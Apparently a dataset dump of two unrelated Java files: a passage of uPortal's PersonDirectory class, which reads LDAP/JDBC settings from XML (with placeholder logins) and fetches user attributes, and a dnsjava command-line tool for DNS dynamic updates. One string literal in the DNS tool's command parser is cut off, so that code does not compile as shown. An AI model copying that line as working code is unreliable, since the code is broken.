* <url>ldap://yu.yale.edu:389/dc=itstp, dc=yale, dc=edu</url>
* <logonid>cn=bogus,cn=Users,dc=itstp,dc=yale,dc=edu</logonid>
* <logonpassword>foobar</logonpassword>
* <uidquery>(cn={0})</uidquery>
* <usercontext>cn=Users</usercontext>
* <attributes>mail telephoneNumber</attributes>
* </PersonDirInfo>
* </pre>
*
* The logonid and logonpassword would be omitted for LDAP directories
* that do not require a signon. The URL establishes an "initial context"
* which acts like a root directory. The usercontext is a subdirectory
* relative to this initial context in which to search for usernames.
* In a lot of LDAP directories, the user context is "ou=People".
* The username is the {0} parameter substituted into the query. The
* query searches the subtree of objects under the usercontext, so if
* the usercontext is the whole directory the query searches the whole
* directory.
*
* <p>JDBC entry has format:
* <pre>
* <PersonDirInfo>
* <url>jdbc:oracle:thin:@oracleserver.yale.edu:1521:XXXX</url>
* <driver>oracle.jdbc.driver.OracleDriver</driver>
* <logonid>bogus</logonid>
* <logonpassword>foobar</logonpassword>
* <uidquery>select * from portal_person_directory where netid=?</uidquery>
* <attributes>last_name:sn first_name:givenName role</attributes>
* </PersonDirInfo>
* </pre>
*
* The SELECT can fetch any number of variables, but only the columns
* named in the attributes list will be actually used. When an attribute
* has two names, separated by a colon, the first name is used to find
* the variable/column in the result of the query and the second is the
* name used to store the value as an IPerson attribute. Generally we
* recommend the use of official eduPerson names however bad they might
* be (sn for "surname"). However, an institution may have local variables
* that they want to include, as the Yale variable "role" that includes
* distinctions like grad-student and non-ladder-faculty. This version of
* this code doesn't have the ability to transform values, so if you wanted
* to translate some bizzare collection of roles like Yale has to the
* simpler list of eduPersonAffiliation (faculty, student, staff) then
* join the query to a list-of-values table that does the translation.
*/
private synchronized boolean getParameters() {
if (sources!=null)
return true;
sources= new Vector();
try {
// Build a DOM tree out of uPortal/properties/PersonDirs.xml
Document doc = ResourceLoader.getResourceAsDocument(this.getClass(), "/properties/PersonDirs.xml");
// Each directory source is a <PersonDirInfo> (and its contents)
NodeList list = doc.getElementsByTagName("PersonDirInfo");
for (int i=0;i<list.getLength();i++) { // foreach PersonDirInfo
Element dirinfo = (Element) list.item(i);
PersonDirInfo pdi = new PersonDirInfo(); // Java object holding parameters
for (Node param = dirinfo.getFirstChild();
param!=null; // foreach tag under the <PersonDirInfo>
param=param.getNextSibling()) {
if (!(param instanceof Element))
continue; // whitespace (typically \n) between tags
Element pele = (Element) param;
String tagname = pele.getTagName();
String value = getTextUnderElement(pele);
// each tagname corresponds to an object data field
if (tagname.equals("url")) {
pdi.url=value;
} else if (tagname.equals("logonid")) {
pdi.logonid=value;
} else if (tagname.equals("driver")) {
pdi.driver=value;
} else if (tagname.equals("logonpassword")) {
pdi.logonpassword=value;
} else if (tagname.equals("uidquery")) {
pdi.uidquery=value;
} else if (tagname.equals("fullnamequery")) {
pdi.fullnamequery=value;
} else if (tagname.equals("usercontext")) {
pdi.usercontext=value;
} else if (tagname.equals("attributes")) {
NodeList anodes = pele.getElementsByTagName("attribute");
int anodecount = anodes.getLength();
if (anodecount!=0) {
pdi.attributenames = new String[anodecount];
pdi.attributealiases = new String[anodecount];
for (int j =0; j<anodecount;j++) {
Element anode = (Element) anodes.item(j);
NodeList namenodes = anode.getElementsByTagName("name");
String aname = "$$$";
if (namenodes.getLength()!=0)
aname= getTextUnderElement(namenodes.item(0));
pdi.attributenames[j]=aname;
NodeList aliasnodes = anode.getElementsByTagName("alias");
if (aliasnodes.getLength()==0) {
pdi.attributealiases[j]=aname;
} else {
pdi.attributealiases[j]=getTextUnderElement(aliasnodes.item(0));
}
}
} else {
// The <attributes> tag contains a list of names
// and optionally aliases each in the form
// name[:alias]
// The name is an LDAP property or database column name.
// The alias, if it exists, is an eduPerson property that
// corresponds to the previous LDAP or DBMS name.
// If no alias is specified, the eduPerson name is also
// the LDAP or DBMS column name.
StringTokenizer st = new StringTokenizer(value);
int n = st.countTokens();
pdi.attributenames = new String[n];
pdi.attributealiases = new String[n];
for (int k=0;k<n;k++) {
String tk = st.nextToken();
int pos =tk.indexOf(':');
if (pos>0) { // There is an alias
pdi.attributenames[k]=tk.substring(0,pos);
pdi.attributealiases[k]=tk.substring(pos+1);
} else { // There is no alias
pdi.attributenames[k]=tk;
pdi.attributealiases[k]=tk;
}
}
}
} else {
LogService.instance().log(LogService.ERROR,"PersonDirectory::getParameters(): Unrecognized tag "+tagname+" in PersonDirs.xml");
}
}
for (int ii=0;ii<pdi.attributealiases.length;ii++) {
String aa = pdi.attributealiases[ii];
propertynames.add(aa);
}
sources.addElement(pdi); // Add one LDAP or JDBC source to the list
}
}
catch(Exception e)
{
LogService.instance().log(LogService.WARN,"PersonDirectory::getParameters(): properties/PersonDirs.xml is not available, directory searching disabled.");
return false;
}
return true;
}
private String getTextUnderElement(Node nele) {
if (!(nele instanceof Element))
return null;
Element pele = (Element) nele;
StringBuffer vb = new StringBuffer();
NodeList vnodes = pele.getChildNodes();
for (int j =0; j<vnodes.getLength();j++) {
Node vnode = vnodes.item(j);
if (vnode instanceof Text)
vb.append(((Text)vnode).getData());
}
return vb.toString();
}
/**
* Run down the list of LDAP or JDBC sources and extract info from each
*/
public Hashtable getUserDirectoryInformation (String username){
Hashtable attribs = new Hashtable();
for (int i=0;i<sources.size();i++) {
PersonDirInfo pdi = (PersonDirInfo) sources.elementAt(i);
if (pdi.disabled)
continue;
if (pdi.url.startsWith("ldap:"))
processLdapDir(username, pdi,attribs);
if (pdi.url.startsWith("jdbc:"))
processJdbcDir(username, pdi,attribs);
}
return attribs;
}
public void getUserDirectoryInformation(String uid, IPerson m_Person) {
java.util.Hashtable attribs = this.getUserDirectoryInformation(uid);
java.util.Enumeration en = attribs.keys();
while (en.hasMoreElements()) {
String key = (String) en.nextElement();
String value = (String) attribs.get(key);
m_Person.setAttribute(key,value);
}
}
/**
* Extract named attributes from a single LDAP directory
*
* <p>Connect to the LDAP server indicated by the URL.
* An optional userid and password will be used if the LDAP server
* requires logon (AD does, most directories don't). The userid given
* here would establish access privileges to directory fields for the
* uPortal. Connection establishes an initial context (like a current
* directory in a file system) that is usually the root of the directory.
* Howwever, while a file system root is simply "/", a directory root is
* the global name of the directory, like "dc=yu,dc=yale,dc=edu" or
* "o=Yale University",c=US". Then search a subcontext where the people
* are (cn=Users in AD, ou=People sometimes, its a local convention).
*
*/
void processLdapDir(String username, PersonDirInfo pdi, Hashtable attribs) {
//JNDI boilerplate to connect to an initial context
Hashtable jndienv = new Hashtable();
DirContext context = null;
jndienv.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
jndienv.put(Context.SECURITY_AUTHENTICATION,"simple");
jndienv.put(Context.PROVIDER_URL,pdi.url);
if (pdi.logonid!=null)
jndienv.put(Context.SECURITY_PRINCIPAL,pdi.logonid);
if (pdi.logonpassword!=null)
jndienv.put(Context.SECURITY_CREDENTIALS,pdi.logonpassword);
try {
context = new InitialDirContext(jndienv);
} catch (NamingException nex) {
return;
}
// Search for the userid in the usercontext subtree of the directory
// Use the uidquery substituting username for {0}
NamingEnumeration userlist = null;
SearchControls sc = new SearchControls();
sc.setSearchScope(SearchControls.SUBTREE_SCOPE);
Object [] args = new Object[] {username};
try {
userlist = context.search(pdi.usercontext,pdi.uidquery,args,sc);
} catch (NamingException nex) {
return;
}
// If one object matched, extract properties from the attribute list
try {
if (userlist.hasMoreElements()) {
SearchResult result = (SearchResult) userlist.next();
Attributes ldapattribs = result.getAttributes();
for (int i=0;i<pdi.attributenames.length;i++) {
Attribute tattrib = null;
if (pdi.attributenames[i] != null)
tattrib = ldapattribs.get(pdi.attributenames[i]);
if (tattrib!=null) {
String value = tattrib.get().toString();
attribs.put(pdi.attributealiases[i],value);
}
}
}
} catch (NamingException nex) {
;
}
try {userlist.close();} catch (Exception e) {;}
try {context.close();} catch (Exception e) {;}
}
/**
* Extract data from a JDBC database
*/
void processJdbcDir(String username, PersonDirInfo pdi, Hashtable attribs) {
Connection conn = null;
PreparedStatement stmt = null;
ResultSet rs = null;
try {
// Register the driver class if it has not already been registered
// Not agressively synchronized, duplicate registrations are OK.
if (pdi.driver!=null && pdi.driver.length()>0) {
if (drivers.get(pdi.driver)==null) {
try {
Driver driver = (Driver) Class.forName(pdi.driver).newInstance();
DriverManager.registerDriver(driver);
drivers.put(pdi.driver,driver);
} catch (Exception driverproblem) {
pdi.disabled=true;
pdi.logged=true;
LogService.instance().log(LogService.ERROR,"PersonDirectory::processJdbcDir(): Cannot register driver class "+pdi.driver);
return;
}
}
}
// Get a connection with URL, userid, password
conn = DriverManager.getConnection(pdi.url,pdi.logonid,pdi.logonpassword);
// Execute query substituting Username for parameter
stmt = conn.prepareStatement(pdi.uidquery);
stmt.setString(1,username);
rs = stmt.executeQuery();
rs.next(); // get the first (only) row of result
// Foreach attribute, put its value and alias in the hashtable
for (int i=0;i<pdi.attributenames.length;i++) {
try {
String value = null;
String attName = pdi.attributenames[i];
if (attName != null && attName.length() != 0)
value = rs.getString(attName);
if (value!=null) {
attribs.put(pdi.attributealiases[i],value);
}
} catch (SQLException sqle) {
; // Don't let error in a field prevent processing of others.
LogService.log(LogService.DEBUG,"PersonDirectory::processJdbcDir(): Error accessing JDBC field "+pdi.attributenames[i]+" "+sqle);
}
}
} catch (Exception e) {
; // If database down or can't logon, ignore this data source
// It is not clear that we want to disable the source, since the
// database may be temporarily down.
LogService.log(LogService.DEBUG,"PersonDirectory::processJdbcDir(): Error "+e);
}
if (rs!=null) try {rs.close();} catch (Exception e) {;}
if (stmt!=null) try {stmt.close();} catch (Exception e) {;}
if (conn!=null) try {conn.close();} catch (Exception e) {;}
}
private class PersonDirInfo {
String url; // protocol, server, and initial connection parameters
String driver; // JDBC java class to register
String logonid; // database userid or LDAP user DN (if needed)
String logonpassword; // password
String usercontext; // where are users? "OU=people" or "CN=Users"
String uidquery; // SELECT or JNDI query for userid
String fullnamequery; // SELECT or JNDI query using fullname
String[] attributenames;
String[] attributealiases;
boolean disabled = false;
boolean logged = false;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
import DNS.*;
public class update {
static final int ZONE = Section.QUESTION;
static final int PREREQ = Section.ANSWER;
static final int UPDATE = Section.AUTHORITY;
static final int ADDITIONAL = Section.ADDITIONAL;
Message query, response;
Resolver res;
String server = "localhost";
Name origin;
int defaultTTL;
short defaultClass = DClass.IN;
PrintStream log = null;
void
print(Object o) {
System.out.println(o);
if (log != null)
log.println(o);
}
public
update(InputStream in) throws IOException {
Vector inputs = new Vector();
Vector istreams = new Vector();
query = new Message();
query.getHeader().setOpcode(Opcode.UPDATE);
InputStreamReader isr = new InputStreamReader(in);
BufferedReader br = new BufferedReader(isr);
inputs.addElement(br);
istreams.addElement(in);
while (true) {
String line = null;
do {
InputStream is = (InputStream) istreams.lastElement();
br = (BufferedReader)inputs.lastElement();
if (is == System.in)
System.out.print("> ");
line = IO.readExtendedLine(br);
if (line == null) {
br.close();
inputs.removeElement(br);
istreams.removeElement(is);
if (inputs.isEmpty())
return;
}
} while (line == null);
if (log != null)
log.println("> " + line);
MyStringTokenizer st = new MyStringTokenizer(line);
if (!st.hasMoreTokens())
continue;
String operation = st.nextToken();
if (operation.equals("
continue;
else if (operation.equals("server")) {
server = st.nextToken();
res = new Resolver(server);
}
else if (operation.equals("key")) {
String keyname = st.nextToken();
String keydata = st.nextToken();
if (res == null)
res = new Resolver(server);
res.setTSIGKey(keyname, keydata);
}
else if (operation.equals("port")) {
if (res == null)
res = new Resolver(server);
res.setPort(Short.parseShort(st.nextToken()));
}
else if (operation.equals("tcp")) {
if (res == null)
res = new Resolver(server);
res.setTCP(true);
}
else if (operation.equals("class")) {
String s = st.nextToken();
short newClass = DClass.value(s);
if (newClass > 0)
defaultClass = newClass;
else
print("Invalid class " + newClass);
}
else if (operation.equals("ttl"))
defaultTTL = TTL.parseTTL(st.nextToken());
else if (operation.equals("origin"))
origin = new Name(st.nextToken());
else if (operation.equals("require"))
doRequire(st);
else if (operation.equals("prohibit"))
doProhibit(st);
else if (operation.equals("add"))
doAdd(st);
else if (operation.equals("delete"))
doDelete(st);
else if (operation.equals("glue"))
doGlue(st);
else if (operation.equals("help")) {
if (st.hasMoreTokens())
help(st.nextToken());
else
help(null);
}
else if (operation.equals("echo"))
print(line.substring(5));
else if (operation.equals("send")) {
if (res == null)
res = new Resolver(server);
sendUpdate();
query = new Message();
query.getHeader().setOpcode(Opcode.UPDATE);
}
else if (operation.equals("query"))
doQuery(st);
else if (operation.equals("quit") ||
operation.equals("q"))
{
if (log != null)
log.close();
Enumeration e = inputs.elements();
while (e.hasMoreElements()) {
BufferedReader tbr;
tbr = (BufferedReader) e.nextElement();
tbr.close();
}
System.exit(0);
}
else if (operation.equals("file"))
doFile(st, inputs, istreams);
else if (operation.equals("log"))
doLog(st);
else if (operation.equals("assert")) {
if (doAssert(st) == false)
return;
}
else
print("invalid keyword: " + operation);
}
}
void
sendUpdate() throws IOException {
if (query.getHeader().getCount(ZONE) == 0) {
Name zone = origin;
short dclass = defaultClass;
if (zone == null) {
Enumeration updates = query.getSection(UPDATE);
if (updates == null) {
print("Invalid update");
return;
}
Record r = (Record) updates.nextElement();
zone = new Name(r.getName(), 1);
dclass = r.getDClass();
}
Record soa = Record.newRecord(zone, Type.SOA, dclass);
query.addRecord(ZONE, soa);
}
response = res.send(query);
if (response == null)
return;
print(response);
}
/*
* <name> [ttl] [class] <type> <data>
* Ignore the class, if present.
*/
Record
parseRR(MyStringTokenizer st, short classValue, int TTLValue)
throws IOException
{
Name name = new Name(st.nextToken(), origin);
int ttl;
short type;
String s = st.nextToken();
try {
ttl = TTL.parseTTL(s);
s = st.nextToken();
}
catch (NumberFormatException e) {
ttl = TTLValue;
}
if (DClass.value(s) >= 0)
s = st.nextToken();
if ((type = Type.value(s)) < 0)
throw new IOException("Parse error");
return Record.fromString(name, type, classValue, ttl, st, origin);
}
/*
* <name> <type>
*/
Record
parseSet(MyStringTokenizer st, short classValue) throws IOException {
Name name = new Name(st.nextToken(), origin);
short type;
if ((type = Type.value(st.nextToken())) < 0)
throw new IOException("Parse error");
return Record.newRecord(name, type, classValue, 0);
}
/*
* <name>
*/
Record
parseName(MyStringTokenizer st, short classValue) throws IOException {
Name name = new Name(st.nextToken(), origin);
return Record.newRecord(name, Type.ANY, classValue, 0);
}
void
doRequire(MyStringTokenizer st) throws IOException {
Record rec;
String qualifier = st.nextToken();
if (qualifier.equals("-r"))
rec = parseRR(st, defaultClass, 0);
else if (qualifier.equals("-s"))
rec = parseSet(st, DClass.ANY);
else if (qualifier.equals("-n"))
rec = parseName(st, DClass.ANY);
else {
print("qualifier " + qualifier + " not supported");
return;
}
if (rec != null) {
query.addRecord(PREREQ, rec);
print(rec);
}
}
void
doProhibit(MyStringTokenizer st) throws IOException {
Record rec;
String qualifier = st.nextToken();
if (qualifier.equals("-r"))
rec = parseRR(st, defaultClass, 0);
else if (qualifier.equals("-s"))
rec = parseSet(st, DClass.NONE);
else if (qualifier.equals("-n"))
rec = parseName(st, DClass.NONE);
else {
print("qualifier " + qualifier + " not supported");
return;
}
if (rec != null) {
query.addRecord(PREREQ, rec);
print(rec);
}
}
void
doAdd(MyStringTokenizer st) throws IOException {
Record rec;
String qualifier = st.nextToken();
if (!qualifier.startsWith("-")) {
st.putBackToken(qualifier);
qualifier = "-r";
}
if (qualifier.equals("-r"))
rec = parseRR(st, defaultClass, defaultTTL);
else {
print("qualifier " + qualifier + " not supported");
return;
}
if (rec != null) {
query.addRecord(UPDATE, rec);
print(rec);
}
}
void
doDelete(MyStringTokenizer st) throws IOException {
Record rec;
String qualifier = st.nextToken();
if (qualifier.equals("-r"))
rec = parseRR(st, DClass.NONE, 0);
else if (qualifier.equals("-s"))
rec = parseSet(st, DClass.ANY);
else if (qualifier.equals("-n"))
rec = parseName(st, DClass.ANY);
else {
print("qualifier " + qualifier + " not supported");
return;
}
if (rec != null) {
query.addRecord(UPDATE, rec);
print(rec);
}
}
void
doGlue(MyStringTokenizer st) throws IOException {
Record rec;
String qualifier = st.nextToken();
if (!qualifier.startsWith("-")) {
st.putBackToken(qualifier);
qualifier = "-r";
}
if (qualifier.equals("-r"))
rec = parseRR(st, defaultClass, defaultTTL);
else {
print("qualifier " + qualifier + " not supported");
return;
}
if (rec != null) {
query.addRecord(ADDITIONAL, rec);
print(rec);
}
}
void
doQuery(MyStringTokenizer st) throws IOException {
Record rec;
Message newQuery = new Message();
rec = parseSet(st, defaultClass);
newQuery.getHeader().setOpcode(Opcode.QUERY);
newQuery.getHeader().setFlag(Flags.RD);
newQuery.addRecord(Section.QUESTION, rec);
if (res == null)
res = new Resolver(server);
if (rec.getType() == Type.AXFR)
response = res.sendAXFR(newQuery);
else
response = res.send(newQuery);
print(response);
}
void
doFile(MyStringTokenizer st, Vector inputs, Vector istreams) {
String s = st.nextToken();
try {
InputStreamReader isr2;
if (!s.equals("-")) {
FileInputStream fis = new FileInputStream(s);
isr2 = new InputStreamReader(fis);
istreams.addElement(fis);
}
else {
isr2 = new InputStreamReader(System.in);
istreams.addElement(System.in);
}
BufferedReader br2 = new BufferedReader(isr2);
inputs.addElement(br2);
}
catch (FileNotFoundException e) {
print(s + "not found");
}
}
void
doLog(MyStringTokenizer st) {
String s = st.nextToken();
try {
FileOutputStream fos = new FileOutputStream(s);
log = new PrintStream(fos);
}
catch (Exception e) {
print("Error opening " + s);
}
}
boolean
doAssert(MyStringTokenizer st) {
String field = st.nextToken();
String expected = st.nextToken();
String value = null;
boolean flag = true;
int section;
if (field.equalsIgnoreCase("rcode")) {
short rcode = response.getHeader().getRcode();
if (rcode != Rcode.value(expected)) {
value = Rcode.string(rcode);
flag = false;
}
}
else if ((section = Section.value(field)) >= 0) {
short count = response.getHeader().getCount(section);
if (count != Short.parseShort(expected)) {
value = new Short(count).toString();
flag = false;
}
}
else
print("Invalid assertion keyword: " + field);
if (flag == false) {
print("Expected " + field + " " + expected +
", received " + value);
if (st.hasMoreTokens())
print(st.nextToken());
}
return flag;
}
static void
helpResolver() {
System.out.println("Resolver options:\n" +
" server <name>" +
"\tserver that receives the updates (default: localhost)\n" +
" key <name> <data>" +
"\tTSIG key used to sign the messages\n" +
" port <port>" +
"\t\tUDP/TCP port the message is sent to (default: 53)\n" +
" tcp" +
"\t\t\tTCP should be used to send messages (default: unset)\n"
);
}
static void
helpAttributes() {
System.out.println("Attributes:\n" +
" class <class>\t" +
"class of the zone to be updated (default: IN)\n" +
" ttl <ttl>\t\t" +
"ttl of an added record, if unspecified (default: 0)\n" +
" origin <origin>\t" +
"default origin of each record name (default: .)\n"
);
};
static void
helpData() {
System.out.println("Data:\n" +
" require/prohibit\t" +
"require that a record, set, or name is/is not present\n" +
"\t-r <name> [ttl] [class] <type> <data ...> \n" +
"\t-s <name> <type> \n" +
"\t-n <name> \n\n" +
" add\t\t" +
"specify a record to be added\n" +
"\t[-r] <name> [ttl] [class] <type> <data ...> \n\n" +
" delete\t" +
"specify a record, set, or all records at a name to be deleted\n" +
"\t-r <name> [ttl] [class] <type> <data ...> \n" +
"\t-s <name> <type> \n" +
"\t-n <name> \n\n" +
" glue\t" +
"specify an additional record\n" +
"\t[-r] <name> [ttl] [class] <type> <data ...> \n\n" +
" (notes: @ represents the origin " +
"and @me@ represents the local IP address)\n"
);
}
static void
helpOperations() {
System.out.println("Operations:\n" +
" help [topic]\t" +
"this information\n" +
" echo <text>\t\t" +
"echoes the line\n" +
" send\t\t" +
"sends the update and resets the current query\n" +
" query <name> <type>\t" +
"issues a query for this name and type\n" +
" quit\t\t" +
"quits the program\n" +
" file <file>\t\t" +
"opens the specified file as the new input source\n" +
" log <file>\t\t" +
"opens the specified file and uses it to log output\n" +
" assert <field> <value> [msg]\n" +
"\t\t\tasserts that the value of the field in the last response\n" +
"\t\t\tmatches the value specified. If not, the message is\n" +
"\t\t\tprinted (if present) and the program exits.\n"
);
}
static void
help(String topic) {
if (topic != null) {
if (topic.equalsIgnoreCase("resolver"))
helpResolver();
else if (topic.equalsIgnoreCase("attributes"))
helpAttributes();
else if (topic.equalsIgnoreCase("data"))
helpData();
else if (topic.equalsIgnoreCase("operations"))
helpOperations();
else
System.out.println ("Topic " + topic + " unrecognized");
return;
}
System.out.println("The help topics are:\n" +
" Resolver\t" +
"Properties of the resolver and DNS\n" +
" Attributes\t" +
"Properties of some/all records\n" +
" Data\t" +
"Prerequisites, updates, and additional records\n" +
" Operations\t" +
"Actions to be taken\n"
);
}
public static void
main(String args[]) throws IOException {
InputStream in = null;
if (args.length == 1) {
try {
in = new FileInputStream(args[0]);
}
catch (FileNotFoundException e) {
System.out.println(args[0] + " not found.");
System.exit(-1);
}
}
else
in = System.in;
update u = new update(in);
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.